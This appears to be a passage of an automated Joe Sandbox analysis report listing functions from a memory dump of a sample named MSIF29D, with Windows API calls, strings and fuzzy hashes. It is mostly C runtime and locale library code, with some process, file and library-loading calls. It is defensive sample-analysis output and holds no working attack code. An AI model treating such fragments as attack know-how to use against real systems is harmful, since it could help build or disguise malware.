__cftoe.LIBCMT ref: 00FB9B0B

Strings

bad locale name, xrefs: 00FB98FF

Memory Dump Source

Source File: 00000004.00000002.2087129978.0000000000FB1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000004.00000002.2087115649.0000000000FB0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087162382.0000000000FF7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087188555.000000000100C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087204347.0000000001010000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fb0000_MSIF29D.jbxd

Similarity

API ID: std::locale::_$Locimp::_$AddfacLocimp_std::_$Lockit$H_prolog3Lockit::_$FreeInitLocalLocinfo::_Locinfo_ctorLockit::~_MakelocSetgloballocale__cftoe
String ID: bad locale name
API String ID: 3103716676-1405518554
Opcode ID: e568793273fe2b115ef9468e2715f1ca1a62ac32ae4aa3e58c3e6e8221dfcd81
Instruction ID: e87f02946d847228ce30d3aef8506d2d0a639b6ad8d4342df2f325920699464f
Opcode Fuzzy Hash: e568793273fe2b115ef9468e2715f1ca1a62ac32ae4aa3e58c3e6e8221dfcd81
Instruction Fuzzy Hash: E1F1CD71E04248DFDF10CFA9C984BEEBBB5EF09314F244169E905AB381E7759A04DBA1

Function 00FB40B0 Relevance: 12.2, APIs: 8, Instructions: 233memorytimeCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,40000022,8F6E4A30,?,?,00000000,?,?,?,?,?,?,?,?,00000000), ref: 00FB4154
LocalAlloc.KERNEL32(00000040,3FFFFFFF,8F6E4A30,?,?,00000000,?,?,?,?,?,?,?,?,00000000), ref: 00FB4177
LocalFree.KERNEL32(?,?,?,?,?,?,00000000,?,?,?,?,?,?,?,?), ref: 00FB4217
OpenProcess.KERNEL32(00000400,00000000,?,8F6E4A30,?,?,?), ref: 00FB42D2
OpenProcess.KERNEL32(00000400,00000000,?,?,8F6E4A30,?,?,?), ref: 00FB42F3
GetProcessTimes.KERNEL32(00000000,?,00000000,00000000,00000000,?,8F6E4A30,?,?,?), ref: 00FB4326
GetProcessTimes.KERNEL32(00000000,?,00000000,00000000,00000000,?,8F6E4A30,?,?,?), ref: 00FB4337
CloseHandle.KERNEL32(00000000,?,8F6E4A30,?,?,?), ref: 00FB4355
CloseHandle.KERNEL32(00000000,?,8F6E4A30,?,?,?), ref: 00FB4371

Memory Dump Source

Source File: 00000004.00000002.2087129978.0000000000FB1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000004.00000002.2087115649.0000000000FB0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087162382.0000000000FF7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087188555.000000000100C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087204347.0000000001010000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fb0000_MSIF29D.jbxd

Similarity

API ID: Process$Local$AllocCloseHandleOpenTimes$Free
String ID:
API String ID: 1424318461-0
Opcode ID: af86cecc41d760f18f239ae808966a8eba2a2b99af31d4e3d3ef3e3b2e9ca38e
Instruction ID: e8f655016fc04fb5fc643b6ca66be69e47bf50c5ec17c560c4a5a1a94b27cf01
Opcode Fuzzy Hash: af86cecc41d760f18f239ae808966a8eba2a2b99af31d4e3d3ef3e3b2e9ca38e
Instruction Fuzzy Hash: E6818D71E002099FDB14DFA9D985BEEBBB5FF48320F244229E925E7281D730A901DF94

Function 00FD266D Relevance: 12.2, APIs: 8, Instructions: 224COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCPInfo.KERNEL32(?,?,?,?,?), ref: 00FD26F8
MultiByteToWideChar.KERNEL32(?,00000009,?,?,00000000,00000000), ref: 00FD2786
__alloca_probe_16.LIBCMT ref: 00FD27B0
MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 00FD27F8
MultiByteToWideChar.KERNEL32(?,00000009,?,?,00000000,00000000), ref: 00FD2812
__alloca_probe_16.LIBCMT ref: 00FD2838
MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 00FD2875
CompareStringEx.KERNEL32(?,?,?,?,00000000,?,00000000,00000000,00000000), ref: 00FD2892

Memory Dump Source

Source File: 00000004.00000002.2087129978.0000000000FB1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000004.00000002.2087115649.0000000000FB0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087162382.0000000000FF7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087188555.000000000100C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087204347.0000000001010000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fb0000_MSIF29D.jbxd

Similarity

API ID: ByteCharMultiWide$__alloca_probe_16$CompareInfoString
String ID:
API String ID: 3603178046-0
Opcode ID: f13cdc44816c361276d6ca8ee79cbcd72065a9cf739d2425650f30ddf2d8b1c5
Instruction ID: 0df15144235aee6ca5f92efa9aaa9823af443d3ba4162dab17dd65fda6706a62
Opcode Fuzzy Hash: f13cdc44816c361276d6ca8ee79cbcd72065a9cf739d2425650f30ddf2d8b1c5
Instruction Fuzzy Hash: 4B715F72D002499BDF619F64CC85AAE7BBBAF65760F2C015BE914A7350DB35C900F7A0

Function 00FD215A Relevance: 12.2, APIs: 8, Instructions: 175COMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,00000001,?,00000000,00000000,?,?,?,00000001), ref: 00FD21A3
__alloca_probe_16.LIBCMT ref: 00FD21CF
MultiByteToWideChar.KERNEL32(00000001,00000001,00000000,?,00000000,00000000), ref: 00FD220E
LCMapStringEx.KERNEL32(?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00FD222B
LCMapStringEx.KERNEL32(?,?,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 00FD226A
__alloca_probe_16.LIBCMT ref: 00FD2287
LCMapStringEx.KERNEL32(?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00FD22C9
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,?,00000000,00000000), ref: 00FD22EC

Memory Dump Source

Source File: 00000004.00000002.2087129978.0000000000FB1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000004.00000002.2087115649.0000000000FB0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087162382.0000000000FF7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087188555.000000000100C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087204347.0000000001010000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fb0000_MSIF29D.jbxd

Similarity

API ID: ByteCharMultiStringWide$__alloca_probe_16
String ID:
API String ID: 2040435927-0
Opcode ID: aaa572e7fe27f65fb9771f6312e7ca81c6ec92c0c0b7786375778c2f1d7b3d9f
Instruction ID: 346ae29280be15134857077fd0a23ce1e5c532fa045452879fe588748283af36
Opcode Fuzzy Hash: aaa572e7fe27f65fb9771f6312e7ca81c6ec92c0c0b7786375778c2f1d7b3d9f
Instruction Fuzzy Hash: 2251D13290020ABBEB205F64CC45FAF7BAAEF64751F19412AFA11E6250D7348D00FBA0

Function 00FB8610 Relevance: 10.7, APIs: 7, Instructions: 157memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00FB8657
std::_Lockit::_Lockit.LIBCPMT ref: 00FB8679
std::_Lockit::~_Lockit.LIBCPMT ref: 00FB86A1
LocalAlloc.KERNEL32(00000040,00000044,00000000,8F6E4A30,?,00000000), ref: 00FB86F9
__Getctype.LIBCPMT ref: 00FB877B
std::_Facet_Register.LIBCPMT ref: 00FB87E4
std::_Lockit::~_Lockit.LIBCPMT ref: 00FB880E

Memory Dump Source

Source File: 00000004.00000002.2087129978.0000000000FB1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000004.00000002.2087115649.0000000000FB0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087162382.0000000000FF7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087188555.000000000100C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087204347.0000000001010000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fb0000_MSIF29D.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$AllocFacet_GetctypeLocalRegister
String ID:
API String ID: 2372200979-0
Opcode ID: 38921d44ed7d8ec583956419e4bc6543d5c1f6610f685fd32c4c602bef1e61df
Instruction ID: 084158e64dc4745271a7bed7f3fa5faad7621fd3a45c08ae53bf2ffaba0570f5
Opcode Fuzzy Hash: 38921d44ed7d8ec583956419e4bc6543d5c1f6610f685fd32c4c602bef1e61df
Instruction Fuzzy Hash: E461C071D00244CFDB21CF68C941BAAB7F4FF14314F24825DD845AB292EB35AE42DB91

Function 00FB9270 Relevance: 10.6, APIs: 7, Instructions: 135memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00FB92A0
std::_Lockit::_Lockit.LIBCPMT ref: 00FB92C2
std::_Lockit::~_Lockit.LIBCPMT ref: 00FB92EA
LocalAlloc.KERNEL32(00000040,00000018,00000000,8F6E4A30,?,00000000,?,?,?,?,?,?,?,?,?,00000000), ref: 00FB9342
__Getctype.LIBCPMT ref: 00FB93BD
std::_Facet_Register.LIBCPMT ref: 00FB93F8
std::_Lockit::~_Lockit.LIBCPMT ref: 00FB9422

Memory Dump Source

Source File: 00000004.00000002.2087129978.0000000000FB1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000004.00000002.2087115649.0000000000FB0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087162382.0000000000FF7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087188555.000000000100C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087204347.0000000001010000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fb0000_MSIF29D.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$AllocFacet_GetctypeLocalRegister
String ID:
API String ID: 2372200979-0
Opcode ID: 67a179b17b594ef510d3bfbb8381889b7b93305cfd09b04c024b6f8fd35fcabf
Instruction ID: e170deb31e8edda84786772bb0457828e0424c8583cc101396c7beb02e1357b3
Opcode Fuzzy Hash: 67a179b17b594ef510d3bfbb8381889b7b93305cfd09b04c024b6f8fd35fcabf
Instruction Fuzzy Hash: 4D51D070D08259DFCB21CFA8C540B9EBBF4FF04314F14815DD545AB281D7B9AA01EB90

Function 00FD3F20 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 122COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 00FD3F57
___except_validate_context_record.LIBVCRUNTIME ref: 00FD3F5F
_ValidateLocalCookies.LIBCMT ref: 00FD3FE8
__IsNonwritableInCurrentImage.LIBCMT ref: 00FD4013
_ValidateLocalCookies.LIBCMT ref: 00FD4068

Strings

csm, xrefs: 00FD3FFD

Memory Dump Source

Source File: 00000004.00000002.2087129978.0000000000FB1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000004.00000002.2087115649.0000000000FB0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087162382.0000000000FF7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087188555.000000000100C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087204347.0000000001010000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fb0000_MSIF29D.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: c4deb961e50d3c65f86d7c5b0aaa82eda7e992871d3de03cf793fa4a97e3cdd6
Instruction ID: 8d9be8e642f88c1b67982806c95d2358685ed8aa15e497bcd0a5c7b55df80900
Opcode Fuzzy Hash: c4deb961e50d3c65f86d7c5b0aaa82eda7e992871d3de03cf793fa4a97e3cdd6
Instruction Fuzzy Hash: CA418634E0020D9BCF14DF58CC85A9EBBB6EF45324F188156FA149B391D735EA05DB92

Function 00FE72FB Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74COMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,00FE7408,00FE3841,0000000C,?,00000000,00000000,?,00FE7632,00000021,FlsSetValue,00FFBD58,00FFBD60,?), ref: 00FE73BC

Strings

api-ms-, xrefs: 00FE7352
ext-ms-, xrefs: 00FE7366

Memory Dump Source

Source File: 00000004.00000002.2087129978.0000000000FB1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000004.00000002.2087115649.0000000000FB0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087162382.0000000000FF7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087188555.000000000100C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087204347.0000000001010000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fb0000_MSIF29D.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: b0383b3603cb59866917e530d825dadda5d94252df7f40576a581ba784e824ce
Instruction ID: efb78dbe9642ad9e4d9239527063faffab8d8a0a234bb973c285bbcb056b4807
Opcode Fuzzy Hash: b0383b3603cb59866917e530d825dadda5d94252df7f40576a581ba784e824ce
Instruction Fuzzy Hash: BB210232E09395AFDB62BB66DC41A6A77599F82770F250510FE01A7290EB71ED00F6A0

Function 00FBB500 Relevance: 9.2, APIs: 6, Instructions: 151memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00FBB531
std::_Lockit::_Lockit.LIBCPMT ref: 00FBB54F
std::_Lockit::~_Lockit.LIBCPMT ref: 00FBB577
LocalAlloc.KERNEL32(00000040,0000000C,00000000,8F6E4A30,?,00000000,00000000), ref: 00FBB5CF
std::_Facet_Register.LIBCPMT ref: 00FBB6B7
std::_Lockit::~_Lockit.LIBCPMT ref: 00FBB6E1

Memory Dump Source

Source File: 00000004.00000002.2087129978.0000000000FB1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000004.00000002.2087115649.0000000000FB0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087162382.0000000000FF7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087188555.000000000100C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087204347.0000000001010000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fb0000_MSIF29D.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$AllocFacet_LocalRegister
String ID:
API String ID: 3931714976-0
Opcode ID: ac829f45010975d5b1d1754c4cbd73014f228319050e428029e5a41a5e2307cd
Instruction ID: 1ffe6151f0b0e1cedc087f01821572cc640d25b5a6d66872fe25c13c48a47b5b
Opcode Fuzzy Hash: ac829f45010975d5b1d1754c4cbd73014f228319050e428029e5a41a5e2307cd
Instruction Fuzzy Hash: 9F51D171900209DFDB21CF99C980BEEBBB4FF04354F244599E455AB381DBB99E05EB81

Function 00FBB700 Relevance: 9.1, APIs: 6, Instructions: 128memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00FBB731
std::_Lockit::_Lockit.LIBCPMT ref: 00FBB74F
std::_Lockit::~_Lockit.LIBCPMT ref: 00FBB777
LocalAlloc.KERNEL32(00000040,00000008,00000000,8F6E4A30,?,00000000,00000000), ref: 00FBB7CF
std::_Facet_Register.LIBCPMT ref: 00FBB863
std::_Lockit::~_Lockit.LIBCPMT ref: 00FBB88D

Memory Dump Source

Source File: 00000004.00000002.2087129978.0000000000FB1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000004.00000002.2087115649.0000000000FB0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087162382.0000000000FF7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087188555.000000000100C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087204347.0000000001010000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fb0000_MSIF29D.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$AllocFacet_LocalRegister
String ID:
API String ID: 3931714976-0
Opcode ID: 98846f009cf9d96c25a8e85cb5555f03a96ead1f4a22e3094713ebc332eb267c
Instruction ID: 02e479b04d35b8e15d02aca92867acf385178a5328d4a0e8db1a69cbf7b4107c
Opcode Fuzzy Hash: 98846f009cf9d96c25a8e85cb5555f03a96ead1f4a22e3094713ebc332eb267c
Instruction Fuzzy Hash: 4251AE71904255DFCB21CF99C941BAEBBB4EF04324F24855DE845AB381DBB9AA41EF80

Function 00FE0351 Relevance: 9.1, APIs: 3, Strings: 2, Instructions: 369COMMONLIBRARYCODE

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 00FE043B
__freea.LIBCMT ref: 00FE04D1
__freea.LIBCMT ref: 00FE04ED

Strings

am/pm, xrefs: 00FE0551
a/p, xrefs: 00FE05B5

Memory Dump Source

Source File: 00000004.00000002.2087129978.0000000000FB1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000004.00000002.2087115649.0000000000FB0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087162382.0000000000FF7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087188555.000000000100C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087204347.0000000001010000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fb0000_MSIF29D.jbxd

Similarity

API ID: __freea$__alloca_probe_16
String ID: a/p$am/pm
API String ID: 3509577899-3206640213
Opcode ID: 99b11d29f1bac0141f81ef16a2e1147899b3539a4ad7f7300898f97c5c2b10fd
Instruction ID: 941a17cf23a5d6bbe5a4771eaf3e485bf7602e08dfa8f1f30dd80420c6bb18aa
Opcode Fuzzy Hash: 99b11d29f1bac0141f81ef16a2e1147899b3539a4ad7f7300898f97c5c2b10fd
Instruction Fuzzy Hash: 41C11335D00286DBCB24CF6AC984BBA77B1FF45320F184049E505AB290DBB5ADC1EF61

Function 00FD5978 Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,00FD596F,00FD4900,00FD358F), ref: 00FD5986
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 00FD5994
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 00FD59AD
SetLastError.KERNEL32(00000000,00FD596F,00FD4900,00FD358F), ref: 00FD59FF

Memory Dump Source

Source File: 00000004.00000002.2087129978.0000000000FB1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000004.00000002.2087115649.0000000000FB0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087162382.0000000000FF7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087188555.000000000100C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087204347.0000000001010000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fb0000_MSIF29D.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 49455d511ccebbd7efc33e7ddc812d965af06488a114816927fb8aafd44cbfe0
Instruction ID: af5c74e0f40cda8df90ef92d3a7121c85838bacb1a71d7d974cc7a7fba9dc3c4
Opcode Fuzzy Hash: 49455d511ccebbd7efc33e7ddc812d965af06488a114816927fb8aafd44cbfe0
Instruction Fuzzy Hash: CF01B533609B119FE63527746D95A6B3756DB42B75728032BF414843E4EE264C01F681

Function 00FB3230 Relevance: 9.0, APIs: 3, Strings: 2, Instructions: 260fileCOMMON

Download Yara Rule

APIs

GetTempFileNameW.KERNEL32(?,URL,00000000,?,8F6E4A30,?,00000004), ref: 00FB3294
MoveFileW.KERNEL32(?,00000000), ref: 00FB354A
DeleteFileW.KERNEL32(?), ref: 00FB3592

Part of subcall function 00FB1A70: LocalAlloc.KERNEL32(00000040,80000022), ref: 00FB1AF7
Part of subcall function 00FB1A70: LocalFree.KERNEL32(7FFFFFFE), ref: 00FB1B7D

Part of subcall function 00FB2E60: LocalFree.KERNEL32(?,8F6E4A30,?,?,00FF3C40,000000FF,?,00FB1242,8F6E4A30,?,?,00FF3C75,000000FF), ref: 00FB2EB1

Strings

URL, xrefs: 00FB328E, 00FB357A
url, xrefs: 00FB33B9, 00FB3575

Memory Dump Source

Source File: 00000004.00000002.2087129978.0000000000FB1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000004.00000002.2087115649.0000000000FB0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087162382.0000000000FF7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087188555.000000000100C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087204347.0000000001010000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fb0000_MSIF29D.jbxd

Similarity

API ID: FileLocal$Free$AllocDeleteMoveNameTemp
String ID: URL$url
API String ID: 853893950-346267919
Opcode ID: 863164d85df8734386a4db873272a2f5bdae2185e1adc7c5cb45e68267cec0b8
Instruction ID: 1ed81d2f115f2e0b3e85bd087be22e2cd95282907ed803fae90fbde824f294b0
Opcode Fuzzy Hash: 863164d85df8734386a4db873272a2f5bdae2185e1adc7c5cb45e68267cec0b8
Instruction Fuzzy Hash: 78C19830D14268DADB25DF29CC98BDDBBB4BF14304F1442D9D009A7291EBB86B88DF91

Function 00FB36D0 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 129libraryCOMMON

Download Yara Rule

APIs

GetSystemDirectoryW.KERNEL32(?,00000105), ref: 00FB3735
GetLastError.KERNEL32(?,?,?,00FF4215,000000FF), ref: 00FB381A

Part of subcall function 00FB2310: GetProcessHeap.KERNEL32 ref: 00FB2365

Part of subcall function 00FB46F0: FindResourceExW.KERNEL32(00000000,00000006,?,00000000,00000000,?,?,?,?,00FB3778,-00000010,?,?,?,00FF4215,000000FF), ref: 00FB4736

_wcschr.LIBVCRUNTIME ref: 00FB37C6
LoadLibraryExW.KERNEL32(?,00000000,00000000,?,?,00FF4215,000000FF), ref: 00FB37DB

Strings

ntdll.dll, xrefs: 00FB37B3

Memory Dump Source

Source File: 00000004.00000002.2087129978.0000000000FB1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000004.00000002.2087115649.0000000000FB0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087162382.0000000000FF7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087188555.000000000100C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087204347.0000000001010000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fb0000_MSIF29D.jbxd

Similarity

API ID: DirectoryErrorFindHeapLastLibraryLoadProcessResourceSystem_wcschr
String ID: ntdll.dll
API String ID: 3941625479-2227199552
Opcode ID: 540940d0160a303f3073386da294a0febdfcc1277b03cc75b90317627d34406c
Instruction ID: ea45f99d583147ce09e5b17e4e5bfa746d74997fe05c87d6ca8af296539d4c64
Opcode Fuzzy Hash: 540940d0160a303f3073386da294a0febdfcc1277b03cc75b90317627d34406c
Instruction Fuzzy Hash: BD41D271A40609AFDB10DF69CC59BEEB7A4FF04310F144629F916972C1EBB4AA04DF91

Function 00FB621F Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 77libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 00FB1A20: LocalFree.KERNEL32(?), ref: 00FB1A42

Part of subcall function 00FD3E5A: RaiseException.KERNEL32(E06D7363,00000001,00000003,00FB1434,?,?,00FBD341,00FB1434,01008B5C,?,00FB1434,?,00000000), ref: 00FD3EBA

GetCurrentProcess.KERNEL32(8F6E4A30,8F6E4A30,?,?,00000000,00FF4981,000000FF), ref: 00FB62EB

Part of subcall function 00FD2C98: EnterCriticalSection.KERNEL32(0100DD3C,?,?,?,00FB23B6,0100E638,8F6E4A30,?,?,00FF3D6D,000000FF), ref: 00FD2CA3
Part of subcall function 00FD2C98: LeaveCriticalSection.KERNEL32(0100DD3C,?,?,?,00FB23B6,0100E638,8F6E4A30,?,?,00FF3D6D,000000FF), ref: 00FD2CE0

GetModuleHandleW.KERNEL32(kernel32,IsWow64Process), ref: 00FB62B0
GetProcAddress.KERNEL32(00000000), ref: 00FB62B7

Part of subcall function 00FD2C4E: EnterCriticalSection.KERNEL32(0100DD3C,?,?,00FB2427,0100E638,00FF6B40), ref: 00FD2C58
Part of subcall function 00FD2C4E: LeaveCriticalSection.KERNEL32(0100DD3C,?,?,00FB2427,0100E638,00FF6B40), ref: 00FD2C8B
Part of subcall function 00FD2C4E: RtlWakeAllConditionVariable.NTDLL ref: 00FD2D02

Strings

IsWow64Process, xrefs: 00FB62A6
kernel32, xrefs: 00FB62AB

Memory Dump Source

Source File: 00000004.00000002.2087129978.0000000000FB1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000004.00000002.2087115649.0000000000FB0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087162382.0000000000FF7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087188555.000000000100C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087204347.0000000001010000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fb0000_MSIF29D.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AddressConditionCurrentExceptionFreeHandleLocalModuleProcProcessRaiseVariableWake
String ID: IsWow64Process$kernel32
API String ID: 1333104975-3789238822
Opcode ID: 1f7660742885ab587b46e38ef72bf6fd82e502348c4adc55e19472a9f78bbd9a
Instruction ID: 7c0a0152d97d2e93c8bdc943986aa47383957d868cf27187ac3f9482c555967d
Opcode Fuzzy Hash: 1f7660742885ab587b46e38ef72bf6fd82e502348c4adc55e19472a9f78bbd9a
Instruction Fuzzy Hash: 3D21A171D042059BDB21EF95DD06B9DB7A8EB08720F140629F961E72C0DB796900EF51

Function 00FC8451 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 73COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00FC8458
_Getvals.LIBCPMT ref: 00FC84AA
_Mpunct.LIBCPMT ref: 00FC84E5
_Mpunct.LIBCPMT ref: 00FC84FF

Strings

$+xv, xrefs: 00FC850A

Memory Dump Source

Source File: 00000004.00000002.2087129978.0000000000FB1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000004.00000002.2087115649.0000000000FB0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087162382.0000000000FF7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087188555.000000000100C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087204347.0000000001010000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fb0000_MSIF29D.jbxd

Similarity

API ID: Mpunct$GetvalsH_prolog3
String ID: $+xv
API String ID: 2204710431-1686923651
Opcode ID: ffd3b11bc6012dfc9aa57b0153aa9e34ac9be129489e7bfafa50113e5d35ffc2
Instruction ID: d2ef6acfb7ce0fac60fec98ac85ce3a120aa6e5be791c2d1cd7e2031c0169055
Opcode Fuzzy Hash: ffd3b11bc6012dfc9aa57b0153aa9e34ac9be129489e7bfafa50113e5d35ffc2
